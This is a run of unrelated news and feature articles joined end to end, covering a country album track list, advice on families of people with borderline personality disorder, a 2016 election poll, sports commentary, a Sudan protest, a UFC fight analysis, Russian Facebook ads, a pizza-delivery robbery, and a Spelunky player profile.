The new material ranges from the disco country-rock of Love It Gone to Huntin', Fishin' and Lovin' Every Day, which shows the influence of Alabama and Hank Williams Jr.
Jeff Stevens, who has worked on all of Bryan's albums, produced Kill the Lights along with his son, Jody Stevens, whose previous credits include Cole Swindell's chart-topping country single Chillin' It.
An exclusive Target edition of Kill the Lights will contain three additional songs, all co-written by Bryan. One, Boys Grow Up and Dogs Get Old, is a tearjerker in an Old Yeller kind of way. Target begins taking pre-orders for the album Monday.
In the album's liner notes, the singer gives a shout-out to his audience. "I will forever feel that it is most important to thank you, the fans," he writes. "To each and every one of you that has spent your time and hard earned money. To all of you that have stood in the rain, camped out, partied, cried and been a part of this ride, I truly will never be able to show my appreciation enough. It is a dream come true making records and performing for you guys everywhere I can. Thank you for always showing up ready to just have a great time."
Bryan's last studio album, 2013's Crash My Party, has sold 2.47 million albums, according to Nielsen SoundScan. On Thursday, Bryan will take his Kick the Dust Up Tour to Durant, Okla., for a show at the Choctaw Grand Theatre.
Luke Bryan will release "Kill the Lights" Aug. 7. (Photo11: Jim Wright)
The track listing for Kill the Lights follows:
Kick the Dust Up (Writers: Dallas Davidson, Chris Destefano and Ashley Gorley) Kill the Lights ( Luke Bryan, Jody Stevens and Jeff Stevens) Strip It Down ( Luke Bryan, Jon Nite and Ross Copperman) Home Alone Tonight (feat. Karen Fairchild)( Jody Stevens, Cole Taylor, Jaida Dreyer and Tommy Cecil) Razor Blade ( Jeff Hyde, Ryan Tyndell and Rodney Clawson) Fast ( Luke Bryan, Rodney Clawson and Luke Laird) Move ( Luke Bryan, Michael Carter and Jay Clementi) Just Over ( Chase McGill, Brad Tursi and Jessie Jo Dillon) Love It Gone ( Jody Stevens and Jay Clementi) Way Way Back ( Luke Bryan, Ashley Gorley and Rodney Clawson) To The Moon and Back ( Tom Douglas, Hillary Lindsey and Tony Lane) Huntin', Fishin' and Lovin' Every Day ( Luke Bryan, Dallas Davidson, Rhett Akins and Ben Hayslip) Scarecrows ( Ashley Gorley, Trevor Rosen and Shane McAnally)
Target exclusive Corner Booth ( Luke Bryan, Cole Swindell and Jimmy Robbins) Little Boys Grow Up and Dogs Get Old ( Luke Bryan and Tony Lane) Buddies ( Luke Bryan and Dallas Davidson)
Read or Share this story: http://usat.ly/1IDQrhRThe following post is the Afterword of the newly released “Overcoming Borderline Personality Disorder” by Valerie Porr. I have reprinted it here with permission of Oxford University Press. There are so many misconceptions about this disorder today. A friend of mine, recently diagnosed with BPD, has helped me to understand her illness. I hope this piece further educates people who attach stigma where there should be none.
Research shows us that 70 percent of people with Borderline Personality Disorder drop out of treatment.
According to John Gunderson, medical director of the Center for the Treatment of Borderline Personality Disorder (BPD) at McLean Hospital, in Boston, Massachusetts, failure to involve the family as support for treatment of BPD makes patients’ involvement in therapy superficial and is a major reason for premature dropout.
Family members or partners consult clinicians for help in coping with someone with BPD because they care, and are frightened, frustrated, and feeling helpless. This is someone they love.
As a clinician you have an opportunity to guide these families toward reconciliation and repair. Family members spend more time with the person with BPD than anyone else and are in a key position to provide ongoing help and guidance, prevent escalations, and motivate their loved one to participate in evidence-based treatment.
So what do families need in helping someone with borderline personality disorder?
What Families Need in Helping Someone with Borderline Personality Disorder
Here is a compilation of what families need from clinicians based on hundreds of TARA helpline calls, reports from family skills group participants, and from the work of John Gunderson.
Accurate information.
Knowledge of the biological basis of BPD can help families reframe the behavior of their loved one in the light of current science and accept that evidence-based treatment works. Accurate information can dispel the stigma that colors attitudes toward people with BPD.
Understanding.
Understand that the person with BPD is doing the best he can and does not intend to harm others or himself. Discourage viewing the person with BPD as “manipulative,” as the enemy, or as hopeless. Understanding can melt anger and cultivate compassion.
Acceptance.
Accept that the person with BPD has a disability and has special needs. Help the family accept their loved one as someone with a chronic illness. They may continue to be financially and emotionally dependent on the family and be vocationally impaired. BPD is a deficit or handicap that can be overcome. Help families to reconcile to the long-term course of BPD and accept that progress will be slow. There are no short-term solutions.
Compassion.
Do not assume that every family is a “dysfunctional family.” Emotions are contagious. Living with someone with BPD can make any family dysfunctional. Family members have been recipients of rages as well as abusive and irrational behaviors. They live in perpetual fear and feel manipulated. They often react by either protecting and rescuing or rejecting and avoiding. Reframe their points of view with compassion. Families are doing the best they can. They need support and acceptance. “Bad parents” are usually uninformed, not malevolent. They did the wrong things for the right reasons (the “allergic to milk syndrome”). Anyone can have a disturbed child. Keep reminding the family of the neurobiological dysregulations of BPD, and of the pain their loved one is coping with each day.
Collaboration for change.
Accept that families can help, can learn effective skills and become therapeutic partners. They can reinforce treatment. The IQ of a family member is not reduced if a loved one has BPD. Do not patronize or fragelize family members. Family members are generally well-educated, intelligent people who are highly motivated to help. Respect their commitment. When you provide them with effective skills to help their loved one, they can become therapeutic parent or partners. You can help them.
Stay in the present.
Do not focus on past painful experiences when the person with BPD cannot cope with aversive feelings and has no distress tolerance skills. Avoid shame-inducing memories. If you induce arousal and the patient cannot cope with the arousal, therapy becomes unacceptable, giving her additional pressure and stress and undermining cognitive control. This is a sure-fire way to get her to drop out of therapy.
Be nonjudgmental.
Respect that families are doing the best they can, in the moment, without any understanding of the underlying disorders or the ability to translate their loved one’s behaviors. Although they may have done the wrong thing in the past, it was probably for the right reasons. Their intention was not to hurt their loved one.
Teach awareness of nonverbal communication.
Teach them limbic language so they can learn to speak to the amygdala, to communicate emotionally through validation. Teach families to be aware of body language, voice tones, gestures, and facial expressions. Especially avoid neutral faces. Teach effective coping skills based on cognitive behavior therapy, DBT, and mentalization.
Corroborate allegations.
Try not to assume the worst, and corroborate allegations. Remember that your perception of an event or experience may be different from what actually happened.
Remember, families have rights.
When families are paying for therapy, they have rights, beyond confidentiality regulations such as the Health Insurance Portability and Accountability Act (HIPAA). This reality must be acknowledged. Excluding parents completely jeopardizes the feasibility of continuation of therapy. They need to help decide if investment in therapy is worthwhile and have a right to know about attendance, motivation, and benefits from therapy. What is confidential in therapy is what is talked about. Let them know about the therapy, prognosis, and course of the illness.
Avoid boundaries, limits, contracts, and tough love.
These methods are not effective with people with BPD. Be sure that families under- stand that boundaries are generally viewed as punishment by the person with BPD. Be sure they understand how to change behavior by explaining reinforcement, punishment, shaping, and extinction so that they do not reinforce maladaptive behaviors.
Discourage “we.”
Encourage family members to nurture individual relationships with the person with BPD, not the united front of “we.” Although both parents can have the same goals for their loved one, they must express these goals in their own style, in one-on-one relationships. Focus on developing individual relationships and trust, not solving individual problems. This will discourage “splitting.”
Encourage family involvement.
When a person with BPD resists family involvement, this should not be automatically accepted. Resistance is symptomatic of the person with BPD devaluing his loved ones. If you participate in devaluing the family, difficulties are intensified when treatment comes to an end, especially when the person is financially dependent on his family. Remember that the family loves this person and will be there for him when you are no longer involved.
Helping Someone with Borderline Personality Disorder(This November 9th story has been refiled to clarify that Keyes comment in 3rd paragraph from end was said in jest)
Supporters wait for U.S. Republican presidential nominee Donald Trump at his election night rally in Manhattan, New York, U.S., November 9, 2016. REUTERS/Carlo Allegri
By Andy Sullivan and Michelle Conlin
WASHINGTON (Reuters) - In a bitterly divisive presidential election, at least one thing united U.S. voters: a feeling that the country’s economic and political systems were tilted against them.
A Reuters/Ipsos Election Day poll of 45,000 voters found an electorate burning with resentment against Wall Street, politicians and the news media, increasingly alienated from a country that is changing in ways it doesn’t like.
This sense of alienation transcended partisan boundaries, uniting supporters of Republican victor Donald Trump and his Democratic rival, Hillary Clinton.
“This is rage against the machine,” said Carrie Sheridan, a former supporter of Democratic President Barack Obama, as fellow Trump supporters celebrated the real-estate mogul’s victory early Wednesday by pouring champagne on each other at his $200 million luxury hotel near the White House.
Some 75 percent of poll respondents, Republicans and Democrats alike, agreed that the country needs a “strong leader” to take the country back from the rich and powerful.
Seven out of ten agreed that the economy is “rigged” to benefit wealthy insiders. Most backed the notion that their leaders were out of touch: 77 percent of Trump supporters and 56 percent of Clinton supporters agreed that traditional politicians didn’t care about people like them.
(Graphic of Reuters/Ipsos poll: tmsnrt.rs/2ffJJ9A)
This sense of disconnection ran deepest among Trump supporters. Some 73 percent agreed with the idea that “more and more, I don’t identify with what America has become,” while 61 percent said they felt like strangers in their own country. Most Clinton supporters said they didn’t share those sentiments.
Nine out of ten Trump supporters said mainstream media is more interested in making money than telling the truth.
Trump, who travels in his own 757 jet, might seem like an unlikely candidate to benefit from this anti-elite sentiment.
But by 8 p.m. Eastern time, lines had formed at the velvet ropes by 8 p.m. Eastern time outside Trump’s new hotel in between the White House and the U.S. Capitol, where a steak costs $60 and wine is sold by the spoonful.
“These are shadow voters, voters who have never voted before,” said Preston Parry, 20, who was watching the results with a throng of friends, all of them wearing suits and Trump campaign trucker hats.
Despite his gilded lifestyle, Trump capitalized on working-class fears of a rapidly changing country. Styling himself as a “blue-collar billionaire,” he promised to bring back manufacturing jobs back to forgotten factory towns and sharply curtail immigration.
He drew overwhelming support from white working-class voters in Rust Belt states like Ohio and Pennsylvania, winning enough states to capture the White House even as he lost the popular vote.
Trump’s scathing characterization of Clinton as a corrupt career politician also resonated in an year when many voters said they were primarily casting a vote against one of the candidates.
VOTING AGAINST CANDIDATE
Some 46 percent of Trump supporters said they backed him because they didn’t want Clinton to win, while 40 percent of Clinton supporters said they were motivated primarily to stop Trump from reaching the White House.
Those who made up their minds in the last week of the campaign were more likely to cite opposition to one of the candidates as their main reason for voting.
Politicians like Clinton are “taking away from what we were as a country and saying we should change because of the people coming in, the immigrants and refugees,” said John Scherer, a 57-year-old former maintenance worker in Portsmouth, Ohio.
Scherer’s sentiments were widely shared by Trump supporters, as 72 percent agreed with the idea that immigrants threaten traditional American beliefs and customs. Three-quarters of Clinton backers, by contrast, said immigrants strengthened U.S. society.
The Reuters/Ipsos Election Day poll was conducted online in English in all 50 states, including more than 45,000 people who already voted in the presidential election.
Voter dissatisfaction isn’t exactly new. Surveys have consistently found since 2002 that most people believe the country is on the wrong track, a period that encompasses a Republican and Democratic president, two wars, a deep recession and a slow recovery.
Trump supporters were more likely to share this frustration. Some 70 percent who backed the Republican real-estate mogul said they felt the country was on the wrong track, while only 23 percent of Clinton supporters agreed, according to the Reuters/Ipsos tracking poll.
Those figures could quickly turn on their head as the reality of a Trump presidency sinks in. Across the country, Clinton supporters used unusually harsh language when describing the election result.
In Washington, D.C., non-profit manager Trisha Postyuk said she saw her vote for Clinton as “a triumph over evil.”
In St. Petersburg, Florida, cafe owner Amanda Keyes, 33, said racist and sexist attitudes are going to take many years to overcome.
“Misogyny will continue to bubble through the country but I can only hope that the old people will die,” she said jokingly.
At Trump’s hotel, a couple from Atlanta looked at a text message from a friend who had bet them $100 that Trump would lose.
“Please don’t ever text me again,” the message said.Auld lang snark:
You watch, Vikings offensive coordinator Pat Shurmur will get a job off one good Case Keenum season the way Adam Gase got the Dolphins job off one decent Jay Cutler season.
Thing is, Gase made the playoffs his first year. The Bears have to do that next season, whoever the coach is. Have to.
The Bears would benefit two ways by losing to the Vikings on Sunday. First, it would improve their draft spot, and second, it would give the Vikings a bye week that would allow them to interview Shurmur to replace John Fox.
Shurmur failed in Cleveland, but then everybody fails there, even Bill Belichick. If Shurmur can survive the stupidity that is the Browns, he can survive the stupidity that has been the McCaskey ownership.
Ryan Pace drafts better than he signs free agents, but I don't know that he has enough draft choices to fill two receiver spots, one or maybe two cornerbacks, two or maybe three offensive linemen and at least one defensive lineman and one linebacker who doesn't continually get busted for using performance-enhancing drugs.
Is Pace’s trading record good enough to trust him to trade for Sean Payton?
I hate to jinx things, but how fittingly awful would it be if the Bears’ potential franchise quarterback suffered a knee injury in the blessed last game of the injury-riddled reign of the soon-to-be-fired coach? Run, Mitch, run.
Browns coach Hue Jackson, after his team fell to 0-15 after Sunday’s loss to the Bears:
"I’m pissed. Let’s just be honest and put it out there. I’m disappointed. I’m pissed off because I never saw this being this way in my two years here ever."
Excuse me, Hue, but had you ever seen the Browns franchise operate before you took the job? Or did you get the job precisely because you’d never seen the Browns franchise operate?
Either way, you sound like the perfect Browns coach, so it’s no wonder owner Jim Haslam ordered new GM John Dorsey to keep you around.
Stevie Sunshine’s Weekly Life Power Rankings:
Luscious Bacon Only one more John Fox game Buttered popcorn “The Last Jedi’’ Pre-assigned movie seats Kris Dunn’s fearlessness David Nwaba’s Andres Nocioni-ness Lauri Markkanen’s Marian Hossa-ness Peruvian hat
Let me get this right: When the Bulls were trying to win, Fred Hoiberg couldn’t coach. When they planned to lose, Hoiberg becomes Phil Jackson.
Kind of indicts the phony-baloney leadership of Jimmy Butler and Dwayne Wade, doesn’t it?
Yeah, it does, in case you had any questions.
Jonathan Toews, please report to the Blackhawks’ season.
What’s up, Devin Aromashodu?
Rich Campbell writes about defensive coordinator Vic Fangio's uncertain future »
K.C. Johnson writes about Lauri Markkanen's defense showing up even when his offense doesn't »
Paul Skrbina writes about the Blackhawks' bad loss to a bad Canucks team »The angry crowd had one thing on its mind.
"Jihad, Jihad, Jihad," was the chant, before they listed their enemies: "Luis Moreno-Ocampo" and "America."
Speaker after speaker shouted their defiance Wednesday before a fist-waving audience of about 2,000 people in the center of El Fasher, the dusty capital of North Darfur. The city is a hub for international aid being distributed in the region.
The crowd assembled about an hour after the International Criminal Court (ICC) in The Hague had announced that it was issuing its first-ever warrant for the arrest of a sitting president: Sudan's President Omar al-Bashir.
They arrived on foot – chanting and waving placards that read "Down with Ocampo" and "Stop the Conspiracy" – or in government buses.
Mr. Ocampo is the chief prosecutor at the ICC.
They heard from a succession of government officials and community leaders, who all voiced their anger.
"We are ready to set up camps to train our youths to defend our country against America and the enemies of Islam," Dirdiri Mohamed Ahmed, head of El Fasher's police. "We are with you President Bashir and are ready to die for you."
A sea of raised fists greeted every word.
There were similar scenes in Khartoum, where banner-waving crowds massed on the banks of the Nile, chanting, "We love you President Bashir," and trampling on portraits of Ocampo.
The public outcry was not unexpected. Embassies had warned foreign nationals to stock up on water and essentials and stay home Wednesday. Charity offices closed for the day and the United Nations sent nonessential staff home.
Certainly, there is genuine popular outrage over the arrest warrant, but the government-led protests organized around the country seemed a little lackluster, a little routine. They will allow the Bashir government to cite "public anger" with the ICC, while fighting the charges and keeping its options open too.
Most people here are waiting to see what comes next. Diplomats in Khartoum say the regime's real reaction will take weeks to emerge. Much will depend on how the world now treats a president accused of war crimes, they say.
Darfur aid workers worry
But international aid agencies here fear a backlash that could further disrupt the world's largest humanitarian operations. They are some of the most visible representatives of the international community and have long had a fraught relationship with the government.
Six – including Care International, CHF International, and the British charity Oxfam – have already seen their operations pared back. On Sunday, they were told to pull international staff out of 10 camps and towns in the region.
In El Fasher, NGO officials spent Wednesday morning in discussions with the wali (governor), trying to ensure that their activities would not be further disrupted.
"No one knows what will happen," said Thierry Durand, director of operations for MSF-France, reached by telephone in Khartoum. "Since the request by Ocampo to the judges last year, things have been very difficult in terms of the administrative burden and red tape. We are caught in this arm wrestling between Sudan and the ICC."
A show of military might
Earlier in the day, the government gave a more palpable and unmistakable statement about the ICC rulng – and any suggestion that instability might follow.
Sudan's military machine put on a show of force in and above the streets of El Fasher.
It began with a steady rumbling. As it drew nearer the ground began to shake.
Armored personnel carriers led the column. Then came the "technicals," pick-ups converted into battlewagons armed with heavy machine guns and anti-aircraft guns. Soldiers lounged against the high-caliber barrels.
And behind them were the trucks crammed with infantry, some wearing balaclavas, others with scarves wrapped around their faces – all shouting, "Allahu Akhbar" ("God is Great").
"This is to show that the government is still in control of the town and if any of the rebel movements think they can try something then they should think again," said Elesail Abdul Munim, as more than 150 military trucks rumbled past a growing crowd in the town's market.
Just as the vehicles disappeared in a cloud of dust, the screech of two Air Force jets split the air. Two Chinese-built Sukhoi ground-attack planes passed low and fast overhead to the cheers of a gathering crowd.
The message to the people of Darfur was clear. While the ICC issued warrants for the arrest of Bashir, there should be no doubt about who was in control.UFC 198 took some of the biggest names in Brazilian mixed martial arts history to Curitiba for a memorable night of fights.
UFC 198 was being billed as one of the most epic nights of fights in UFC history, and the majority of the results did not disappoint. From the opening fight there were beautiful displays of heart, aggressive Muay Thai, and Brazilian jiu-jitsu mastery.
Francisco Trinaldo did his best to remove Yancy Medeiros’s head for three rounds, as the two engaged in a brutal slug fest over the course of 15 minutes. Demian Maia and Ronaldo Souza showed why they are labeled two of the best Brazilian jiu-jitsu practitioners in mixed martial arts, as they used positional control to dominate Matt Brown and Vitor Belfort, respectively. For what its worth, Maia choked Brown out, whereas Souza used a heavy top game to pound out Belfort. The most surprising finish came from the main event itself.
Fabricio Werdum faced off against Stipe Miocic for the heavyweight title to end the night. The fight was being hyped as Werdum’s potent varied offense, against Miocic’s simple, but effective, boxing and wrestling. Simple techniques ended up being the deciding factor in the fight.
For the past several years, Rafael Cordeiro, Werdum’s Muay Thai coach, has received oodles of praise for revitalizing Werdum’s career with an increased focus on striking. When Werdum began fighting he was labeled a poor man’s Antonio Minotauro Nogueira. Since starting his second UFC stint, Cordeiro’s Werdum has been confidently throwing long brutal kicks and straight punches on the outside, and utilizing a destructive clinch on the inside. What Cordeiro’s Werdum has not shown is head movement, or much defense at all for that matter.
Before Werdum submitted Cain Velasquez last June he was getting punched up, and pushed around on the feet. Ultimately, Velasquez’s own aggression allowed for Werdum to punish him with intercepting strikes and knees when the two would clinch up. Still, lack of defense at heavyweight is worrisome as the men fighting simply hit too hard for anyone to rely on their own toughness.
Below we see an appropriate sample of Werdum’s striking. Werdum throws a body kick with no set-up, and a leg kick with no set up. Due to Werdum not hiding his kicks behind punches, Miocic was able to avoid any real damage from both of the strikes. Although, because Miocic simply retreated from the kicks without attempting a counter, Werdum believed he could run into striking exchanges unpunished. Werdum uses this knowledge to begin a flurry while running forward at 4:13, and Miocic retreats at angle, again avoiding serious damage. When Werdum tries to do attack again Miocic kicks Werdum’s leg out from underneath him at 4:08.
The telling moment from the above sequence comes at 4:07 in the gif. Miocic misses a big counter right hand just as Werdum’s assault ends. Miocic only missed the counter shot due to Werdum stepping backward while regaining his footing. Werdum’s chin was up on a silver platter, and if he had been advancing, like he usually is, he would have had his clock cleaned.
About 40 seconds later Werdum initiates a charge behind straight punches again, and Miocic retreats again. While Miocic did not have his body set to counter, the way in which he is backing up and angling to his right reveals he is looking for Werdum to continue advancing so he can throw another counter right hand.
The end of the fight came at just over the halfway mark of the fight. Werdum begins yet another charge and Miocic gladly plays the matador. At 2:22 Werdum doubles up on his right hand without his left near his chin to offer protection. Miocic throws that counter right hand again and it stumbles Werdum momentarily. When Werdum regains his wits, he assumes another bull-rush, but this time Miocic lands a short right hand directly to his chin.
During all of Werdum’s charges he was throwing punches, but not returning his hands to his face, nor moving his head off the center-line. The result was a chin that was easy to hit. Couple that with the fact that in the above sequence his head is completely in front of his hips, and it was only a matter of time before Werdum got clipped and hurt. The punch that did it was not overly powerful, just a well placed short right hand that owed much of its power to Werdum’s momentum.
This analysis is not intended to simply tear Werdum’s performance down. He had some promising moments in the fight while using his kicks on the outside. Werdum landed several heavy leg kicks to Miocic’s lead leg, and stuck a few push kicks in Miocic’s belly. Still, when Werdum tried to get his aggressive Muay Thai going, the simpler, tighter boxing of Miocic took him out.
This series is dedicated to highlighting one moment that stood out from a main event of a particular fight card. One “play” that was responsible for a fighter’s win. Just like plays in traditional sports, match-winning plays in fighting can be made possible due to the mistakes of the other competitor. Werdum’s lack of defensive discipline was the mistake that led to the opportunity for Miocic’s tight, simple play to take over in the fight.
UFC 198 ended up being an entertaining card, but the most surprising finish came from the main event match-up of Werdum and Miocic. Now that Miocic is the newly crowned champion, there are plenty of exciting fights to be made. The next logical heavyweight title fight seems to be Alistair Overeem versus Miocic. Keep your eyes on Cage Pages for new fight announcements, and more main event breakdowns.
Be sure to follow Cage Pages on Twitter.A whopping 126 million people using Facebook in the US could've been exposed to 80,000 posts created by a Kremlin-linked entity seeking to disrupt the 2016 US presidential election and sow discord in its aftermath, according multiple reports Monday.
The number is vastly higher than the 10 million people Facebook initially said were exposed to content created by the entity — called the Internet Research Agency — though that number referred only to its paid posts.
This revelation about the Internet Research Agency's vast reach comes as Facebook prepares to testify in open hearings before the Senate and House Intelligence Committees Wednesday about Russia's manipulation of its platform. Facebook will also appear before the Subcommittee on Crime and Terrorism of the Senate Judiciary Committee on Tuesday to discuss similar issues.
Facebook declined to comment.
The days leading to the hearings have been turbulent for Facebook, which twice updated its statement about the reach of the Russian ads.
Google and Twitter will testify at the hearings this week too, and both companies will provide new details, according to a Google blog post on Monday and reports of Twitter's testimony.
Google's post detailed that it had found “some evidence of efforts to misuse” its platforms by accounts linked to the Internet Research Agency, including 18 channels that uploaded 1,108 videos to YouTube. In its findings, Google said the content was viewed 309,000 times in the US between June 2015 and November 2016, and that the videos were not targeted to the US or any particular segment of the population.
Google said it suspended those 18 accounts for violations of its terms of service, but did not disclose what kind of content lead to those suspensions.
While the search giant has been under less scrutiny than Facebook and Twitter, it has still faced backlash for its role in hosting the videos from Russia Today, a Russian state-backed news network that a federal intelligence report identified as a primary tool in Kremlin propaganda efforts. Google said it “found no evidence of manipulation of our platform or policy violations” from RT. Still, earlier this summer, Google removed RT from a premium group of outlets on YouTube that brands could advertise on. At the time, Google gave no explanation for RT’s removal from that premium package.
Google also said that it found two accounts linked to the Internet Research Agency that spent $4,700 on its ad platforms, covering both search and display ads, during the election cycle. Those ads, according to the company, were not targeted to users’ geography or political preferences. The company also disclosed that it found evidence of Gmail accounts associated with Internet Research Agency's campaign being used to open accounts on other platforms. Google did not say how many Gmail accounts were associated with these activities.
Twitter, according to reports of its planned testimony, said it found more than 2,752 accounts
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pay rate of a pack of cigarettes per person per eight-hour shift — worked around the clock extracting dirt, rocks, and whatever else was in the way. Workers on the other end of the would-be tunnel did the same. By June of that year, the two tunnels connected up, and Bosnians once again had access to those otherwise trapped inside Sarajevo.
Despite the tunnel’s rudimentary structure, it helped change the fates of countless Bosnians. Mental Floss recounts the details:
The Sarajevo Tunnel was the Trojan Horse of the Bosnian War. Historians estimate that more than 1 million trips were taken through the shaft, allowing the import of about 20 million tons of food. Machine guns and crates of ammunition also flowed through the Tunnel, helping the Bosnian army defend itself against the well-armed Serbs.
When the siege ended, the already-dilapidated tunnel began to fall into disrepair. Today, only a few dozen meters of the tunnel remain, and are accessible via the Sarajevo Tunnel Museum, run out of the Kolar home.
Bonus Fact : Bosnia and Herzegovina has a President, kind of. The Presidency of Bosnia and Herzegovina is filled by three people simultaneously — one Croat, on Bosnian, and one Serb — who collectively serve for a four-year term. In order to keep it all balanced, each leader chairs the committee for eight months at a time.
From the Archives : Unmountain Man: The man who made his own tunnel, by hand, so his village could more easily reach medical services.
Take the Quiz : Name the seven nations that, together, were formerly Yugoslavia.Four men planning to rip off a pizza delivery person of some cash instead found themselves face-to-face with a local state senator who formerly played linebacker for several National Football League teams.
Officials in Harvey worked with law enforcement officials in Fulton County, Ga., along with the FBI, in providing information related to the attack on state Sen. Napoleon Harris, D-Harvey, and that helped in the investigation of a missing man later found killed in Georgia.
Harris was once a prep football star at Thornton High School who later went on to play for the Oakland Raiders, Kansas City Chiefs and Minnesota Vikings. Aside from now serving in the Illinois Senate, Harris owns Beggars Pizza franchises in Orland Park and Harvey.
On Sept. 6, he was working at the restaurant at 369 E. 147th St. in Harvey when one last call came in for a pizza delivery. Because it was closing time, Harris decided to make the delivery himself.
When Harris, who declined comment Thursday about the incident, arrived at the house in the 15800 block of Paulina Avenue, he encountered a man sitting on the porch.
Suddenly, according to Harvey police spokesman Sean Howard, three other men came charging out of bushes and attacked Harris. Howard said Harris was struck by the men, who also tried putting him in a chokehold.
But Harris, who is 6-foot-3 and 250 pounds, was able to fight them off. Howard said the men did manage to get the money in Harris' wallet, along with the pizza, before they fled in a Chevrolet Tahoe.
Harris was shaken up by the attack, but Howard said the senator was able to regain his senses, get in his car and follow the Tahoe until its occupants abandoned the vehicle at a lumberyard in South Holland.
Harris had his cellphone with him and was able to call Harvey police to report the incident. Police wound up converging on the lumberyard, where they discovered blood in the vehicle, which turned out to be registered to Lester "Roy" Jones, a man who had been reported missing in Georgia.
Forensic tests done by the Illinois State Police revealed the blood was from Jones, who later turned up dead.
Howard said Harvey police provided their information to Georgia law enforcement officials, and also provided a tip that the suspects had gotten on a bus leaving Chicago for Atlanta. As a result, authorities said, Malik Mayer and a juvenile were taken into custody upon their arrival in Georgia. Mayer is now charged with murder, kidnapping, aggravated assault, theft and two counts of financial transaction card fraud, according to reports.
A third person, Lawrence Hines, was arrested Sept. 15 after he checked himself into a mental hospital in Atlanta. Officials there became suspicious of his conduct and notified police of his whereabouts. Murder charges were filed against him, although Fulton County sheriff's police said more charges could be sought. FBI officials in Atlanta also said Hines is wanted for a 2015 incident in Burlington, Iowa.
Charges are pending against a fourth suspect, officials said. Howard said the man is a Gary resident and Harvey authorities are working together with Indiana authorities to have him returned to Cook County.
"We haven't filed charges yet, but we're going to," he said.
Howard, who also serves as a spokesman for Harris, said the senator was pleased police in Harvey were able to provide worthwhile information to another law enforcement agency's investigation of a murder.
But Harris is also pleased his usual pizza delivery people didn't have to deal with such an attack. Harris, "feels he was better capable of handling this incident than they would have been," Howard said. "They were expecting a scrawny 5-foot-9 guy, and got Harris instead."
Gregory Tejeda is a freelance reporter for the Daily Southtown.‘My Favourite Games’ is a regular MossRanking feature which gives us a chance to get to know our fellow Spelunkers a little better. In each edition, we put the spotlight on one member of the community, as they pick three of their most treasured video games ever and give their reasons why. Featured members are allowed to pick whatever games they want... except for Spelunky. In the second entry, we go to Twiggle, a brilliant all-around Spelunker and one of the best score runners in the community. He is currently eighth in the MossRanking leaderboard. Below, Twiggle reveals his favourite game ever and which surprising multiplayer title is home to his fondest gaming memories with his family. Super Mario World 2: Yoshi’s Island (SNES, 1995) Twiggle’s favourite game of all time, “no contest” as he puts it, is this utterly charming 2D platformer from Nintendo. Although dubbed as a sequel to the acclaimed Super Mario World, Yoshi’s Island is an entirely different game which sees players control different-coloured Yoshis as they embark on a mission to rescue Baby Luigi. “Everything about the game is perfect, from the sprites to the controls to the level design and music,” Twiggle says. “I believe it’s the first ‘real’ game I ever beat.” Twiggle credits Yoshi’s Island for getting him into platforming games. A standout part of the game is how no two levels feel the same. “I actually replayed it fairly recently, and was astonished with the physics of the boss fights,” he shares, bringing up the fight which happens literally inside a frog after Yoshi is downsized by Kamek. “I found it so amazing because of how bouncy and fluid the inside of the frog felt -- like when you threw an egg against the side, it would sort of roll.” Of course, Yoshi’s Island also has the classic ‘Touch Fuzzy, Get Dizzy’ level. If Yoshi hits a Fuzzy, he will become dizzy and his movement is affected -- something which, through some great effects, is ingeniously reflected on the screen for the player. “I love how the game really makes you feel like you were sick or on drugs, with the colours changing, the swaying of the level, and the music becoming distorted,” Twiggle says. Examples like these show the passion and attention given during development. As a result, the final game is a near-magical experience. Insaniquarium Deluxe (PC, 2004) Twiggle’s second pick is a lesser-known PopCap game. Insaniquarium Deluxe is a puzzle title which challenges players to protect tanks filled with colourful fish and other sea creatures by keeping them well-fed and happy. “I loved the fast-paced nature of this game as well as the freedom you have when beating a level,” Twiggle explains. “I love the way the game takes action to the next level and making the experience crazy and wacky, similar to Spelunky in a way with some of the crazy interactions that can happen.” Twiggle compares Insaniquarium to Spelunky, commenting that, although they are very different games, they share similar qualities which reeled him in. “What makes both stand out from other games is the way the levels interact with themselves, even if you don’t do anything,” he explains. “It makes the game feel so much more alive, and it makes you feel like you’re in the game rather than just a spectator.” Future games like Bejeweled, Peggle, and Plants vs. Zombies have eclipsed Insaniquarium for PopCap in terms of popularity, but Twiggle hopes that the developer will give the series another moment in the spotlight one day. “I think the reason Insaniquarium wasn’t as popular is because it was a PC game when there weren’t many mainstream places to distribute PC titles and before mobile touch devices were a thing,” he theorises. “If they released it today, it could be a huge hit. I sincerely hope there is some sort of remastered version or sequel in the future.” By the way, Insaniquarium Deluxe is only a buck/quid or so in the Steam summer sale right now. Mario Party DS (Nintendo DS, 2007) Mario Party games are known for providing brilliant multiplayer experiences. But for Twiggle, it’s the handheld DS iteration of the series which stands out as his personal favourite. “I remember long car and plane rides playing with my siblings,” he explains. "My sister, who isn’t a huge gamer by any means, absolutely loved the game, which just shows how Nintendo [and Hudson Soft] truly knows how to make games for everybody.” The smart thing about Mario Party DS is that it only requires one cartridge for four players through Download Play. “Growing up, my dad had a job where we moved every couple of years,” Twiggle says. “Also, every year, we would come back to the States to visit my mother’s family. As you can imagine, there was a lot of driving, flying, trains, and buses that we took when travelling, so naturally the DS is what we played. With Mario Party, you could pretty much play the entire thing on multiple DS consoles like you owned the game with just one cartridge.” Funnily enough, the console versions of Mario Party didn’t take off in the Twiggle household in the same way. Their favourite minigame-action title at home was WarioWare Inc. for the GameCube. Honourable Mentions: Worms Armageddon (1999), Donkey Kong Country 2: Diddy's Kong Quest (1995), Paper Mario (2001), Super Smash Bros. series (1999-), Plants vs. Zombies (2009), Glover (1998). -- Do you want to be featured? To be part of ‘My Favourite Games’, send a message to hbix (#3495) on the Spelunky Discord, listing your three picks along with a quick comment justifying their inclusions. You will hear back from me with follow-up questions. Previous 'My Favourite Games' entries: Kinnijup (#1)Get the biggest football stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Ronald Koeman has joined the £10million chase for Hull defender James Chester.
Saints boss Koeman has targeted two new centre-backs as priority signings after missing out to Tottenham Toby Alderweireld and losing Florin Gardos for seven months with a knee injury.
Belgian international Alderweireld, 26, opted for an £11.2million switch to Spurs from Atletico Madrid ahead of joining the south coast outfit on a permanent deal following a successful season on loan at St Mary’s.
Romania ace Gardos, 26, won’t play again until February after being crocked in Thursday’s 3-0 pre-season friendly win over Feyenoord.
That leaves Koeman with Jose Fonte and Maya Yoshida as his only fit and experienced central defenders going into the new campaign.
(Image: Getty)
Southampton have also sold England right-back Nathaniel Clyne to Liverpool this summer, replacing him with Sporting Lisbon's Cedric Soares.
